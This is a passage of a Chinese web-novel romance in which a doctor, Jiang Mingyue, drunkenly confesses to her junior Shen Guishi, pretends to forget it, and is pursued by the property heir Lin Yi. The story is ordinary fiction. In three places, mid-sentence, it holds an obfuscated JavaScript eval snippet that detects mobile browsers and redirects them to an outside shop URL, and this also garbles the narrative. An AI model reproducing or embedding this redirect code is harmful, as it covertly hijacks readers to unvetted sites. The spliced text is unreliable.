最后带来的酒都喝完了。不知是谁喊来了服务员,说了句“再来点酒,白的”,反正个把小时后,所有人都醉态毕露。 郑观海醉意熏然,仍不忘碎碎念叮嘱:“都别开车啊!找代驾,或者打车回去!酒驾会被医院处分的……” 江明月算是其中比较清醒的了。临走前还跟郑观海打了招呼:“主任,我走了。” 郑观海点头:“小江啊,我找人弄了个新的实验室,改天带你去认认路,缺什么你看着买。好好干啊,我老了……哎,医学的未来是属于你们年轻人的。” 夏日的夜风也裹挟着闷热的暑气,并不凉爽。 江明月出来被风一吹,感觉脑袋更晕了。 她给父母发了消息,说和同事聚餐喝了酒,就不开车回去了,今天去海城名邸歇一晚。 他们聚餐的地点在医院附近,准确来说,就是海城名邸对面的一家饭店。一出饭店大门,就看到了对面小区的灯光。 亮得晃眼。 - 江明月走到自己家门前,按密码进去,照例先去卫生间洗手。 沈归时听见动静出来查看,几乎愣在原地:“师姐,你怎么来了?” 卫生间的门开着,江明月照着镜子,觉得自己的脸上有一层薄红。 “喝多了,就不回家了。” 她声线清晰,意识清醒,除了脸上那层薄红,几乎看不出醉酒的痕迹。沈归时也是走近了才闻到她身上隐约的酒气。 她洗了一遍手,挤了点护手霜抹在手心,然后又全部冲洗干净。 沈归时思忖两秒,从洗手台上那一堆瓶瓶罐罐里挑出了一个,“这个是洗手液。” 江明月歪头看他,耳后的长发随着她的动作垂落下来。她的眼底仿佛笼着淡淡的雾气,唇色也比平时艳了许多。 直到此刻,沈归时才确认她真的喝醉了。 “你刚刚用的是护手霜。” “噢。”江明月一副大梦初醒的样子,重新洗了一遍手。 沈归时给她倒了杯水。 江明月走去客厅,在一张单人沙发上坐下,捧着杯子喝水。 似乎有无数个沈归时在她眼前晃。真实的,或是她心里的。 她眨了眨眼:“小沈,你过来。” 沈归时走到她近前,微微俯身问她:“怎么了?” 江明月将手里的杯子递给他。 “是不是还要喝水?我去给你倒。” “不是,你先拿着。” 江明月空出手,伸长两臂,去摸他的脖子,指尖划过他的喉结,不轻不重地按在他的脖颈两侧。 指腹温热,动作轻柔。沈归时身体一僵,喉结不甚明显地滚动了一下。 江明月摸了一会儿,得出结论:“甲状腺好的。” 沈归时:“……” 江明月接着说:“我前几天看到一篇文章,讲的是甲状腺功能异常对生殖能力的影响。” 她说着就要打开手机知网,“我找给你看看啊。” 怎么会有人喝醉了酒,还给别人查体,顺便聊聊学术啊! 沈归时见她在手机里翻了半天,也没找到那篇文章,既好笑又无奈:“不找了,你先去休息,等下我自己找来看。” “好。”江明月听话地收起手机,准备去洗漱休息,结果站起来的一瞬间头晕目眩,只好坐了回去,“你再过来一点,我有话对你说。” 沈归时站在她面前。他太高了,半曲着腿倾身下去,目光才能与她齐平。江明月整个人陷在沙发里,觉得客厅所有的灯光都打在了眼前人的身上,他的气息无限笼罩下来。 她揉了揉额头,终于不再抗拒,郑重其事地承认:“我可能……喜欢上你了。” 19. 酒醒 沈归时微微站直。握杯的右手不自觉地用力,圆润的瓷制杯壁紧贴在掌心,他的指节泛出淡色的青白。 夏夜闷热,却又那么安静。屋子里好像只剩下了呼吸和心跳的声音。 良久,他才说:“我是沈归时。” 江明月说:“我知道。” “你知道?” “知道啊。” 承认之后,江明月像是卸下了某个重担,一下子变得坦然了许多:“不过,我目前只有50%的概率喜欢你。” “没关系。”沈归时轻声说,“够了,足够了。” 50% 只要是对数字稍有敏感的人,就能马上意识到,这是二分之一。 沈归时也知道剩下二分之一是谁。 宋远。 真好。 原来师姐不是只喜欢宋远一个。她也喜欢他。她把喜爱平分给了他们两人。 宋远他到底凭什么——些许不甘冒了上来,又被沈归时按捺住了。 人的心脏尚且有左右两部分。他的师姐同时喜欢两个人怎么了。很合理,不过分。 - 第二天早上六点半,江明月的生物钟准时将她叫醒。 她翻了个身。第一个念头是今天周六不用上班,可以多睡一会儿。第二个念头是——不对,昨晚好像喝多了,跑去跟沈归时告白了。 江明月立刻清醒了,撑着床坐了起来。 昨晚怎么回房间的,她都没有印象了。只记得自己跟沈归时说了,她喜欢他。 然后沈归时是怎么回答的来着? 江明月揉着宿醉的脑袋用力回想,别的都没想起来,就模模糊糊地想起沈归时说了句“够了”。 够了。 什么够了? 受够了? 她这是表白被拒了? 江明月向后一倒,平躺在床上,仰面看着天花板。 救命啊……这也太尴尬了…… 这让她以后怎么面对沈归时? 江明月无声地哀嚎了两分钟,再度爬起来。 她身上的衣服还是昨天的没换,昨晚喝醉了顾不上,现在人清醒了,洁癖也上身了。 她没出房间,就在主卧内的衣帽间里找了身换洗衣物,然后进淋浴间冲了个澡。 洗完了澡,江明月也想好了对策。 装失忆。 只要她一口咬定自己什么都不记得了,就能避免一切尴尬。 - 沈归时走出客卧时,江明月正坐在餐桌前吃早餐。 他一身家居服,与以往一丝不苟的白大褂相较,多出了许多慵懒随性的气质。江明月偷瞄了好几眼,越看越觉得自己眼光真不错,这脸这身材,确实赏心悦目。 被拒也很正常,她安慰自己。大帅哥就应该有拒绝别人的权利和底气。 “师姐酒醒了?”大帅哥折过来问她。 靠近之后,江明月就看见了他眼下淡淡的一层青色,他肤色偏白,衬得那层青色分外醒目,这模样,显然睡眠不足。 这人怕不是来兴师问罪的。 江明月故作镇定地点头,把面前最后一口豆浆喝完,擦了擦手,脸上一派平静:“早餐我点了两份,还有一份你吃。” 不等沈归时回应,江明月又说:“昨晚打扰到你了,科室聚会,确实喝得有点多,现在头还疼,什么都不记得了。” 她说到最后一句的时候稍稍提高了音量,像划重点一样强调。 沈归时缓缓重复了一遍:“你……什么都不记得了?” 像询问,也像求证。 江明月一口咬定:“对,断片了,现在什么都想不起来了。” 只要不记得了,就等于没发生。小沈那么聪明,应该明白她的意思。 “如果我昨天晚上有什么不当言行,或者做了什么过分的事,请你不要介意,千万别放在心上。”江明月留在这儿就是为了当面解释,这会儿觉得解释得差不多了,便准备走人,“我回家了,再见。” “……再见。”沈归时只来得及说这一句。 江明月脚步飞快夺门而出,如同落荒而逃。 餐桌上,还剩一份生煎包和一杯冰豆浆。 沈归时看了眼外卖打包袋上的小票。下单时间是早上七点十分。 昨晚折腾了大半宿,醒得倒挺早。 她什么都不记得了。 但沈归时都记得清清楚楚。 昨晚,她说出那句“只有50%的概率喜欢你”之后,便一直保持沉默。 他递杯子给她,让她再喝点水。她才终于开口,说要加点冰块,她不爱喝热水。 沈归时依言照办,端着冰水回来时,就见江明月撑着沙发扶手站了起来,摇摇晃晃地往客厅外的阳台走。 他不放心,跟过去看,江明月盘腿坐在阳台一角,在很认真地跟几盆绿植聊天。 他旁观片刻,俯身劝道:“师姐,不早了,去休息吧,明天再和它们聊。” 江明月眼眸轻抬,望向他:“腿麻了,站不起来。” 沈归时伸手过去:“我扶你。” 江明月握上他的手,下一秒又松开。 她说:“你抱我。” 时间像是暂停了几个呼吸。短暂的沉寂后,沈归时伸出手。 她又说:“要公主抱。” “好。” 她很轻。看着那么肌骨匀称的一个人,抱起来却没多少重量。 江明月紧紧勾住了他的脖颈。大概是觉得他抱得很稳,不用过于担心,她松开一只手,指尖轻轻触碰着他的脸。 脸颊传来的触感轻柔而缓慢,像一支羽毛蜻蜓点水般滑过。沈归时听见胸腔附近响起了她的呢喃:“沈归时,我真的好喜欢你——” 他小心翼翼地圈紧她:“我也是。” 然后她才接上后半句:“——的脸。” 沈归时失笑:“你就只喜欢我的脸啊?” 江明月把头埋进他怀里,声音变得模糊而沉闷:“你长得真好看。” 他抱着她去主卧躺下,微低的声线近乎于虔诚:“我喜欢你的一切,师姐。” 昨晚告白的,何止她一人。 夏天气温高,沈归时把空调打开,房门关好,找了条薄毯盖在江明月身上。 江明月一个鲤鱼打挺坐起来:“还没刷牙……” 她拉了拉床边人的手:“抱我去卫生间。” 沈归时抱她去就近的主卫,把人放下来后,他替她挤好牙膏。她不动,就一直看他。他知道她醉得更彻底了,只好指挥她:“张嘴,我帮你刷。” 她很听话,说什么做什么。牙刷好了,她还是定定地看着他,说:“还要洗澡。” 沈归时也说不清那一瞬间他究竟在想些什么,但他最后还是拒绝了:“不行,这个帮不了你。” 江明月问:“为什么?” 沈归时说:“这个要在你清醒的时候……或者等你100%喜欢我的时候,才可以。” “那要等多久?我好困。” “我不知道要等多久,但我愿意等。” 江明月醉意昏沉,任凭沈归时抱着她回到床上躺下。 她是那种安全感很足的人,睡觉也很安分。 沈归时在她床边看了一会儿,感觉有什么东西逐渐填满了他的胸腔。 - 她刚刚让他不要介意。 他怎么可能介意。 很久以前,他只敢在远处仰望她。 直到现在,他也爱得小心翼翼,不敢越过半步雷池。 50%,确实够了。 他只需要一点点回应就够了。 - 上班后,郑观海带江明月去看了“新实验室”。 去的路上,郑观海说:“这个场地是我托了好多人才找到的,离医院很近,出医院后门走两百米就到,方便你们下了班去盯实验数据。原来那边是一家银行,后来银行搬走了,但防盗门和中央空调都留下来了,硬件设施不差。” 江明月越听越觉得郑主任是在为接下来要说的话做铺垫。 果然,郑观海紧接着就说:“不过啊,实验要用的仪器设备都还没有采购。好在我们现在经费足够,你们想买什么就买!别给我省钱!” 江明月到那边场地一看。 好家伙,何止仪器设备没有,就连最基本的桌椅板凳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640855|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有啊。 怪不得郑主任特意提了下防盗门和中央空调。 因为整个场地就只有防盗门和中央空调。除此之外,就是个空荡荡的屋子。 郑观海给了江明月一张报销卡,让她负责实验室的筹备工作。 于是接下来一段时间,江明月白天上班,晚上去实验室看一下筹备的进度,忙得昏天黑地。有时候挺想就近住到海城名邸,每天能节约一个钟头的通勤时间,但想到那天酒后冲动表白还被拒了,就放弃了这个念头。 这天下午,约好五点来送货的厂商说还堵在机场大道,今天来不及了,明天再送货。江明月就没去实验室,直接回家了。 到家后,孙静还挺稀奇:“你今天回来蛮早的。” 江明月说:“今天实验室不忙。” 孙静问:“那个实验室怎么就你一个人在管啊?其他人呢?” “组里其他人都拖家带口的,就我一个单身,时间比较多。”江明月知道母亲心疼自己,笑着补充道,“实验室那边都是师弟师妹们在收拾,我就带着看看,主要还是工作忙。” 孙静冷飕飕地来了句:“你也知道就你一个单身啊?” 江明月:“……” “你爸说厂里有事,可能要晚点回来。”孙静难得没顺着这个话题发作,而是拎了个西瓜给江明月,“今天立秋,你给他送个西瓜尝尝。” “他现在有事?我过去不会打扰他工作吧?” “哦哟,我还不懂他?你这个宝贝女儿能跑去看看他,他骨头都能轻三斤。” 江明月拎着西瓜,冲孙静一笑:“妈,一起去?” 孙静冷哼:“我才懒得去看他,他现在掉钱眼里了,一天到晚只惦记挣钱,家都不回。” 江明月拖长声音:“去嘛——” “行吧行吧,既然你开口了,我就给他个面子。” 老杨开车,母女俩一路说说笑笑。进厂后,直接去了江父的办公室。 刚进门,就看见里面沙发上坐着一个西装革履的年轻人,正和对面的江峰相谈甚欢。 孙静没想到这么晚了还有人在谈业务,一时也有些抱歉:“不好意思,你们接着聊。” “没事,我们刚好聊得差不多了。”江峰笑笑,向年轻人介绍,“我爱人,我女儿。” 年轻人放下交叠的腿,站起身,温文尔雅地打招呼:“伯母。江小姐。” 江峰接着说:“这是林氏地产的大公子林逸,青年才俊,这次我想租块地皮弄新厂区,上面迟迟不批,还多亏了他牵线搭桥。” 孙静难免多看了林逸两眼,顺势夸赞道:“林公子真是年轻有为啊。今年多大了?有没有结婚啦?” 江明月不动声色地扯了扯孙静的衣角。 孙静这才发觉自己问得冒昧。好在林逸也不介意,脸上笑容依旧温煦:“伯母叫我小林就行,我今年31岁,未婚。” 孙静越看越满意,倒没再多问,只是吩咐江明月:“月月,把西瓜切了。小林,你不急着走吧?今天立秋,吃块西瓜再走。” 林逸笑得从容不迫:“好的,我不急。” 今年气温高,西瓜格外甜。西瓜切开之后,瓜瓤鲜红,清新果香四溢。 江峰忽然说:“差点忘了,隔壁还有个小伙子,我去喊他一起来吃。” 说着,就去隔壁的会议室门口喊了声:“小沈,过来吃西瓜。” 江明月万万没想到会在这里遇见沈归时。 沈归时没等江峰介绍,自行判断出了孙静的身份,礼貌地喊了声“阿姨”。 孙静的目光又是一亮,笑眯眯地问道:“小沈是吧,你好啊,今年多大了?在哪里工作啊?” 沈归时说:“今年25岁,现在还没工作,在海大学医,明年毕业。” 孙静惊喜道:“那你和我们家月月还是校友呢!月月,这个小沈你认得吗?” 江明月对母亲自来熟的社交能力叹为观止,点头道:“认识,他现在就在附院实习。” 沈归时的目光自然而然地落在了江明月的身上。 “好久不见,师姐。”他轻轻扫了眼不远处的林逸,逐渐收起笑意,“师姐最近很忙?” 20. 色迷心窍 沈归时语气寻常,仿佛随口一问。 江明月实话实说:“郑主任在院外弄了个实验室,我最近就在忙实验室的筹备工作。你怎么在这儿?” 沈归时言简意赅:“来兼职。” 江明月终于想起自己之前给他介绍过兼职,就是给厂里的工人做一些急救培训。 她不由看了眼江峰:“这么晚了还让人帮你打工?” 江峰笑道:“隔壁会议室的多媒体不知道怎么回事,看不到画面了,小沈过来帮我修的。小伙子动手能力挺强的,上次过来把我那个老是卡纸的打印机修好了,上上次来,帮我把电脑里不小心清空的资料都复原了。” 江明月微微讶然:“来好几趟了?” 沈归时说:“有空就会来。” 江明月心里闷得难受。他……很缺钱吗?之前从来没听他提过。 林逸走到他们两人中间,仍旧挂着笑,同江峰建议:“伯父,我这儿有几个维修师傅的联系方式,以后您需要修理设备的话,可以直接找他们。” 江峰一口答应:“行啊,来来,吃西瓜。” 孙静在一旁说:“月月下了班都没休息,直接跑你这儿来了。” 江明月插了一句:“西瓜是妈妈特意挑的。” 孙静别扭地解释:“我本来不稀罕过来的,是月月非要拉着我一起来。” 江峰“哟”了声:“看来我得好好谢谢月月,不然这会儿都见不到老婆。月月你说,要多少零花钱,爸爸现在就打给你。” 江明月找来一个垃圾桶扔西瓜皮,顺便拿湿巾擦了擦手,随口应了声:“那肯定多多益善啊。” 江峰和孙静相视而笑。 沈归时也不觉弯了唇角。 原来她是在这样的家庭氛围里长大的。 西瓜吃完。林逸和沈归时也准备走了。 江明月看到手机上推送的消息——今晚或有特大暴雨。她内心挣扎片刻,终于追出去问了句:“小沈,你怎么回去?” 工厂在郊区,交通并不便利。 “我坐地铁。”沈归时说,“还算方便,转三条线,过两个小时就到了。” 一旁的林逸眉头轻拧。 他的直觉告诉他,这人是在卖惨,博取同情。 地铁要绕两个小时,开车只需要四十分钟。而天气预报说晚上有暴雨,不知道地铁会不会停运。 江明月道:“你等我一会儿,我顺路带你回去。” 她想好了,可以让老杨送爸妈回家,她再开她爸的车送沈归时。 沈归时当即答应:“好,就是要麻烦师姐了。” 江明月说:“顺路的,不麻烦。” 林逸笑了笑,忽然说:“我也顺路。” 沈归时和江明月齐齐看向他。林逸笑意不减,带着恰到好处的亲切,不轻不重地拍了拍沈归时的肩:“小沈,回城区是吗?我也顺路,不如我送你。省得你在这儿等江小姐了。” 沈归时稍稍往旁边挪了一步,避开肩上的手,扯起唇角一笑:“有劳。” - 办公室内,孙静正在埋怨江峰:“你看看你,周围一个两个的,都是优质男青年,也不知道帮月月留意一下。” 江峰揣着明白装糊涂:“留意什么?” 孙静气得掐了把江峰胳膊上的软肉:“你女儿奔三的人了,还没对象,你知不知道啊?从来没见你替她着急!她要是一直嫁不出去怎么办?” 江峰摸着被掐的胳膊,好声好气地说:“嫁不出去就嫁不出去,我养她一辈子。” 孙静白了他一眼,继续道:“我看刚刚那个小林挺不错的,那一身西装穿在身上,有腔调得很。跟我们月月站在一起,就是郎才女貌呀。而且说话做事,既谦虚又温和,教养老好的。你帮我打听打听,他现在有没有女朋友,跟不跟父母一起住,父母好不好相处。” 江峰微微摇头,不太认可:“他啊,可没表面看上去那么温和。” 孙静不由问:“你怎么知道?” 江峰说:“我好歹在生意场上打拼这么多年了,看人的本事还是有的。林逸做事挺有手段,绝不是你以为的那种谦谦君子。” 其实江峰几年前就想着建新厂区,扩大生产。为此也筹备了三五年,拟定的合作方是他的老朋友,地产商王总。就在前段时间,有个中间人找到江峰,说林氏地产想跟他洽谈这个新厂区项目。江峰当然不同意——虽然林氏家大业大,合作的机会相当难得,但王总是他多年好友,两人私下早有合作意向,江峰做不出背信弃义的事。 也不知怎么回事,自从他拒绝林氏之后,原本顺顺当当进入审批流程的新厂区项目忽然停滞不前了。他托人打听,人家还意味深长地问他是不是惹到了什么人,上面像是故意压着这个事不批。 没过几天,王总无奈地告诉他,公司周转遇到了一些困难,已经资不抵债,好在林氏愿意收购公司,进行善后。 江峰对林氏不太了解,只知道林氏体量很大,集团业务遍布全球。除此之外,就只听说林氏的董事长今年生了个二胎,儿子。小儿子刚出生没多久,大儿子就把林氏高层清洗了一遍,以迅雷不及掩耳之势在集团立威。手法果断狠绝,堪称雷厉风行。 林氏集团就此成为了林逸的囊中之物,至于他那同父异母的幼弟以后能不能分一杯羹,还得看他的心情。 不过林逸在外仍旧以某证券公司从业者的身份示人,给足了林董事长面子。 后来,林逸亲自出面拜访江峰,表明了合作意愿,态度相当诚恳,甚至表示可以在审批流程上襄助一二。 那时,江峰都忍不住怀疑,最初项目审批受阻是林氏暗中插手,不过他没有证据,只是凭感觉猜测。如果真是这样的话,林氏,或者说林氏目前的实际掌门人林逸,实在让人心惊。 为了达成合作,他先是制造一个困难拖延时间,然后迅速解决掉竞争对手,紧接着还要放低姿态,摆出愿意解决困难的态度。就像事先给你画好了一条路线,让你只能沿着这条路走进这个圈套,别无他路,还得反过来谢谢人家,不得不欠下一个人情。 做生意,有手段有心计是优点,但在感情上可不是。反正江峰不希望自己女儿和这么一个手段凌厉的人有什么感情上的牵扯。就月月那种温室里长大的花朵,真不是这种人的对手。 江峰把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640856|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的想法说给孙静听,语重心长的:“我跟林逸也聊了几次,他身上确实有股狠劲儿,对别人狠,对自己也狠,不达目的绝不罢休。咱们和他保持生意上的来往就够了,别的就算了。” 江峰白手起家,在竞争激烈的商场混迹了几十年,看人一向看得很准。孙静相信他的判断,嗔道:“那你刚刚还夸小林是青年才俊?” 江峰摸摸鼻子:“我那不都是场面话嘛。” 孙静对林逸算是歇了心思,转而盘算起了另一个人:“那小沈呢?你觉得他怎么样?靠不靠谱?” 江峰略微沉吟,道:“小沈挺不错,做事很细致,踏实肯干。” 江峰以前倒没往那方面想,现在听爱人一说,竟然意外地觉得挺合适:“那孩子常常过来做兼职,多半家境普通。这样反而好,我就希望月月找个普通人家,安安稳稳地过日子。像林氏那样的豪门,争斗多,是非多,有什么好。” 孙静有些发愁:“小沈比月月小三岁啊,万一他不喜欢比自己年纪大的怎么办?” 江峰哼了声:“我女儿聪明又漂亮,谁会不喜欢?除非他瞎了眼!瞎了眼的男人,我们不要也罢!” 孙静说:“可是小沈还没毕业,也没工作,以后在哪里发展还不知道。” 江峰颔首:“那就再等等吧。没工作不行,不能指望月月养他。” 这时,目送林逸和沈归时离开的江明月回来了。 江峰有心问问宝贝女儿的想法:“月月,你之前和那个小沈有没有接触过啊?” 江明月点头:“他之前在生殖实习了两周,来这儿兼职就是我介绍的。” 江峰状若无意般地问:“你觉得他人怎么样啊?” “人挺帅……”江明月下意识就要把心里话说出来了,话到嘴边又觉得轻浮,于是急忙改口,“挺率真的。对了,爸,他家里条件不太好,你让会计结账的时候多给他打点工资。” 既然江明月开了口,江峰自然毫不迟疑地答应了。他把手头上的一些工作收了尾,和老婆女儿一起回家。 依旧是老杨开车,开的是江明月的车。江明月坐副驾驶,江峰和孙静坐在后排。行至半路,天气预报中的暴雨倾盆而下,雨刷器开到最大都无法看清前路。老杨只好靠边停车,等这一阵的暴雨过去。 发动机还开着,空调的冷气扑在手臂上。江明月把面前的出风口关了,望着前挡风玻璃上倾泻而下的雨幕发呆。 这么大的雨……不知道沈归时到家了没有。 她解锁手机,想问问他情况。但迟迟没有动作。手机屏幕变暗,重新锁屏。 沈归时说好久不见她。 一方面确实是因为她在忙实验室的筹备,另一方面,则是因为她的有意回避。 人生第一次主动告白惨遭拒绝。她可以装不记得,但并不是真的忘了,她还没想好怎么面对他,总觉得会难堪、会尴尬。 但她又十分清晰地知道,至少此刻,她还在牵挂他。 色迷心窍,真不争气。 江明月无声叹息,伸手去中控台拿水杯,指尖不经意间碰到了一张名片。 之前林逸递给她的那一张。 21. 邀请 林逸今天换了一辆商务气息很重的迈巴赫,因为要去拜访江峰,所以有意识地低调了一些,没叫司机,他自己开的车。 没想到回程的时候成了别人的司机。 沈归时上车之后报了地址。林逸微讶:“海城名邸?” 正是林氏地产开发的楼盘。当初开盘价就不便宜,现在周围配套齐全,房价更是一路飙升。 作为一个还需要勤工俭学做兼职的在校生,沈归时可不像买得起海城名邸的人。多半是租的房子。 于是林逸随口一问:“现在那里一个月租金多少钱?” 沈归时说:“不知道,师姐没收我钱。” 简简单单的一句话,就让林逸拼凑出了前因后果——房子是江明月的,江明月给这个姓沈的住了,还不收钱。 “小沈,你是不是经济上有什么困难?我们也算认识一场,如果你需要物质上的援助,我可以帮你。”林逸顿了顿,又把话挑明了一些,“多少钱都可以,你说个数字。” 沈归时听着这声“小沈”就想冷笑。 林逸接着说:“拿到钱之后,离开海城。” “你钱多得没处花?”沈归时淡漠地开口。 前面是个红灯,林逸轻轻踩住刹车,漫不经心地说:“我经济条件还可以。” 他停顿几秒,继续悠悠道:“所以,我有能力给她提供更好的物质生活。而你拿钱走人,一笔巨款,足够你改变整个家庭的命运。这不是两全其美吗?” 没有指名道姓,但两人都知道这个“她”指的是谁。 沈归时拒绝得很快:“不需要。” 林逸神情高傲:“你先别急着拒绝我,我给你考虑的时间,想清楚了再给我答复。” 沈归时终于转头看了他一眼:“你真的喜欢她吗?” 沈归时看不出林逸有多喜欢江明月。 这人对师姐的态度,更像一种充满兴味的追逐,像上位者志在必得的掠取,像一场目的性极强的捕猎。 指望这个人给师姐更好的物质生活?没听说过猎物到手之后还能有好结果的。 绿灯亮了,林逸松开刹车,没再说话。 就这么一路无言地驶向城区。半路忽然下起瓢泼大雨,林逸车速分毫不减,一路飞驰,直到抵达海城名邸。 沈归时正打算下车,眼前的多媒体屏幕上出现了一个来电。沈归时瞥见那串电话号码,动作微滞。 车内多媒体连接的是林逸的手机蓝牙。他看到陌生来电,顺手按下方向盘上的接听键:“你好,哪位?” “江明月。”干净的嗓音通过车载音响传了出来。 林逸不由挑眉看了眼沈归时。 沈归时还维持着准备下车的姿势,从林逸的角度,只能看见他绷紧的下颔线条。 林逸笑着往后一靠,后颈枕在松软的颈枕上,姿态闲适:“什么事?” 这是江明月第一次主动联系他。 初见后,他给她留了名片,他等了一个礼拜,也没等到她发来一条消息。即便后来送了一车红酒,也只是得到了她一句不痛不痒的感谢。这回他也算帮了她爸一个不大不小的忙,他不信她还会无动于衷。 江明月问:“外面在下暴雨,你们到家了吗?” 是“你们”,不是“你”。 林逸笑容微敛,忽然意识到江明月打这个电话的意图。 “刚把小沈送到。江小姐,我做事,你不放心?” “没有……就随便问问。”江明月敷衍地应了一句,“那你慢点开,我先挂了。” “等等。”雨点噼里啪啦地砸在车窗上,雨声连绵入耳,听得林逸心头微微烦躁,他坐直上身,后颈离开靠枕,“我弟弟要办百日宴,家里想请你来一起来凑个热闹。” “请我?” “对。”对方的诧异似乎取悦了林逸,他脸上又浮现出笑意,“送子观音江医生,下周六你有空吗?” “不好意思啊,下周六我要值门诊班,恐怕抽不出时间。” “那下周日呢?具体日子还没定,不如就按你的时间来。” “下周日我们科室要开每月例会。”江明月抱歉道,“谢谢邀请,真没时间。我在这儿先祝你弟弟健康快乐,平安长大。日子选好了你告诉我,我一定随礼。” 林逸蹙眉。 他要的是随礼吗? “没别的事就先挂了啊。”江明月又说。 电话挂断后,车内陷入了寂静,雨势渐小,淅淅沥沥地敲打着门窗。 林逸也不知道自己怎么回事,竟然转头问沈归时:“医院工作这么忙?” 沈归时淡笑:“大三甲,你以为?” - 一场大雨将整个夏天的暑气冲刷得七零八落。 中午,江明月出了手术室,打电话订午餐。她最近发现了一家口味不错的小餐馆,就在医院后门附近,目前已经成为了她的第二食堂。老板提供送餐服务,每次打完电话,十分钟之内,热气腾腾的饭菜就能送到,完全省却了点外卖迟迟不能送达的烦恼。 电话里,餐馆老板连声应承:“好嘞!还是送到你办公室是吗?” 江明月说“是”,往楼上办公室走。路上跟罗薇打了个照面,罗薇行色匆匆,扔下一句:“哎,办公室有人找你。” 江明月问:“谁啊?” 罗薇说:“不知道,一个男的,我之前没见过。看着挺随和的,给全办公室都买了咖啡。不说了啊,我去送材料。” 江明月回办公室一看,林逸坐在她办公桌旁边的空座上,膝盖上放着一台轻薄的笔记本电脑,屏幕上是红红绿绿的大盘走势。 江明月走过去,客客气气地问:“林先生,你找我?” 林逸抬眸。 眼前的人还穿着深绿色的手术衣,那衣服不知道反复高温蒸洗消毒过多少次,领口都破破烂烂的,展露出一段平直流畅的锁骨。往上是纤细修长的脖颈,长发尽数收在手术帽里,只余一张干净清透的面庞,半点妆饰也无,肤色却莹润光洁。 林逸合上笔记本电脑,站起身面对她:“刚刚问了你的同事,你们下周日的科室例会只开上午半天。” 江明月没明白他什么意思,直到对方递来一张请柬。 请柬是以林家长辈的口吻写的:爱子百日,敬邀亲朋。特设薄宴,恭请光临。 时间是下周日晚上六点。 “这个时间点,你应该有空吧?” 话说到这份上了,江明月一时也找不到合适的理由拒绝,只好点头答应了:“有空,到时一定登门祝贺。” 林逸的唇角挂上温和的笑意,又递出了三张演出票:“上次和伯父闲聊时,得知你母亲很喜欢民乐演奏,刚好近期有顶级民乐团来海城巡演,麻烦你把入场门票转交给她。” 江明月略微犹豫了一下,就把票接过来了。这个乐团很火,每回一出票就售罄,她也帮母亲抢过两次票,都没成功。现在眼前就有票,她实在舍不得拒绝。 说是把票转交给孙静,但总共三张票,显然是邀请他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640857|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家三口一起去看演出。 还都是第一排的中间位置。 “谢谢啊。” 江明月真心实意地道了谢,心里琢磨着下周日去吃百日宴的时候回个重一点的礼,还掉这个人情。 “不用这么客气。”林逸单手将放在一旁的笔记本电脑拿过来,轻轻抓提在掌心,“有午休吗?方便的话,一起出去吃点东西?” “哦,不用了,我订了餐。” 江明月话音刚落,就有一名送餐员敲了敲办公室的门,喊了声:“江医生,你点的盒饭到了。” 江明月提着午餐回来,冲林逸笑了笑:“林先生,也快十二点半了,你午饭还没吃?” 虽然是一句寻常的问话,林逸却听出了几分逐客的意思。仿佛他点个头,她下一句就能说“那你别在这儿站着了,赶紧吃饭去吧”。 江明月见林逸没回答,笑着问:“需要我帮你点一份饭吗?” 逐客的意味更浓了。 “不用了。我还有事,先走了。” 林逸走到办公室门口,脚步微顿,回头看了眼江明月。 她刚把一次性打包餐盒的盖子打开来。不远处的同事喊她:“明月姐,帮我看看这个治疗方案。” 她筷子也没拆,径直走去和那名同事讨论起来,轻声细语,神情专注,眉目温柔。 林逸不自觉地捏紧了手中的笔记本电脑。 掌心之下,笔记本电脑的金属外壳冰冷而坚硬,但终究在他掌中。 - 江明月晚上一回家就把民乐团的演出票给了孙静。 结果孙静遗憾表示,这周四凌晨她就要和江峰直飞雅典,与崔晚晚的父母一起开启为期半个月的希腊旅行,机票和酒店今天刚刚订好。而民乐团的演出时间在本周六下午两点,只能放弃了。 “月月,一共三张票是吧?你叫同事朋友一起去呀,不要浪费了。”孙静这么和江明月说道。 刚好崔晚晚最近一直在实时向江明月汇报攻略宋远的进度——帝王蟹买了两只,一只清蒸,一只葱油,宋远吃完了就问了句“还有吗”,把崔晚晚气得半死。崔晚晚深深觉得不能再用细水长流的方式感化宋远这种直男,所以想请江明月出面撮合一下。 江明月想了想,分了两张票给崔晚晚,让她叫上宋远一起去,接受一下艺术的熏陶。等演出结束了,他们三个再一起吃顿饭,她帮忙牵线。 